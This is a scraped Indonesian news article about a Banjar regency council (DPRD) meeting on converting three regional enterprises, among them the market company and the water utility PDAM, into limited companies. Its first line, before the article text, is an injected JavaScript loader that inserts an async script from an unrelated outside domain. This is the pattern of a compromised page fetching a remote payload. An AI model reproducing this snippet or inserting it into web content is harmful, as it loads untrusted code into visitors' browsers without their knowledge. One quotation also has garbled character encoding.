(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Menindaklanjuti rencana perubahan badan hukum Perusahaan Daerah (PD) menjadi Perseroan Terbatas (PT), DPRD Banjar menggelar rapat Badan Pembentukan Peraturan Daerah (Bapemperda) bersama eksekutif, Selasa (2/7). Rapat menghadirkan PJ Sekda Banjar, dan tiga direktur perusahaan daerah, di Ruang Rapat Banmus DPRD Kabupaten Banjar.
Dalam rapat yang dipimpin Ketua Banleg DPRD Banjar Andin Sofyan Noor serta diikuti semua Ketua Komisi itu, mengagendakan pembahasan Raperda tentang perubahan status badan hukum Perusahaan Daerah Pasar Bauntung Batuah (PD PBB), Perusahaan Daerah Air Minum (PDAM) Intan Banjar, dan Perusahaan Daerah (PD) baramarta.
“Mengacu pada UU No. 23 Tahun 2014 dan PP 54 Tahun 2017 tentang Badan Usaha Milik Daerah (BUMD), kita mengundang Sekda Banjar untuk memperdalam tiga rancangan Perda publik yang diubah menjadi perda Prophet, mengenai BUMD dan salah satu syarat sesuai dengan agenda Banmus mengenai perubahan naskah akademik. Langkah ini sebagai tujuan memberikan khasanah yang lebih luas sehingga dalam menulis dan melihat tidak main-main,” ujar Andin.
Ia menambahkan, jajaran perusahaan daerah juga di tuntut dapat melihat identifikasi masalah. Dimana nantinya dapat dijawab oleh perusahaan daerah akan berubah status dari Perusahaan daerah menjadi Perseroda hingga Perusahaan Umum Daerah (Perumda).
“Tidak hanya berdasarkan konteks Yuridis bahwa UU 23 yang mengharuskan adanya perubahan bentuk, namun kita harus tahu arah tujuan dan kiblatnya sehingga dibuatlah naskah itu dan dapat fokus terhadap permasalahan tekhnis, seperti masalah berapa modal yang di tempatkan mengenai kewenangan DPRD, Direksi hingga sumber kekayaan,” jelasnya.
Ditanya mengenai pandangan DPRD Banjar mengenai naskah akademis yang disodorkan PD Pasar Bauntung Batuah kurang sesuai dengan penulisan. Andin mengatakan pendekatan pandangan fisilosofis, sosiologis dan yuridis hanya saja disampaikan terlalu dangkal, sehingga ada presepsi yang berbeda seperti halnya penyampaian yang disodorkan.
“Di naskah hanya menyebutkan pada pandangan filosofis dan yuridis dalam satu bab. Kita di DPRD itu kan politisi bukan akademisi, sehingga tidak dapat memandang lebih luas apa yang disampaikan oleh PD Pasar, maka alangkah lebih eloknya dapat diberikan identifikasi masalah tersebut dari latarbelakang yang ada,â€ÂÂpungkasnya.
Masih di tempat yang sama Ketua Komisi IV H Gusti Abdurrahman mengatakan, perubahan badan hukum perusda ini harus melihat untung ruginya bagi pemerintah daerah. Jika memang menguntungkan, maka silahkan lanjutkan.
“Kalau tidak menguntungkan buat apa, yang ada hanya membebani pemerintah daerah, jangan sampai nanti setelah dilakukan perubahan langsung meminta penyertaan modal, karena perusahaan kita sudah mandiri,” ucapnya.
Dikatakan pria yang akrab disapa Antung Aman itu, cakupan layanan seperti halnya PDAM Intan Banjar harus diatas 80 persen sehingga kepentingan masyarakat kabupaten Banjar bisa lebih diutamakan. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.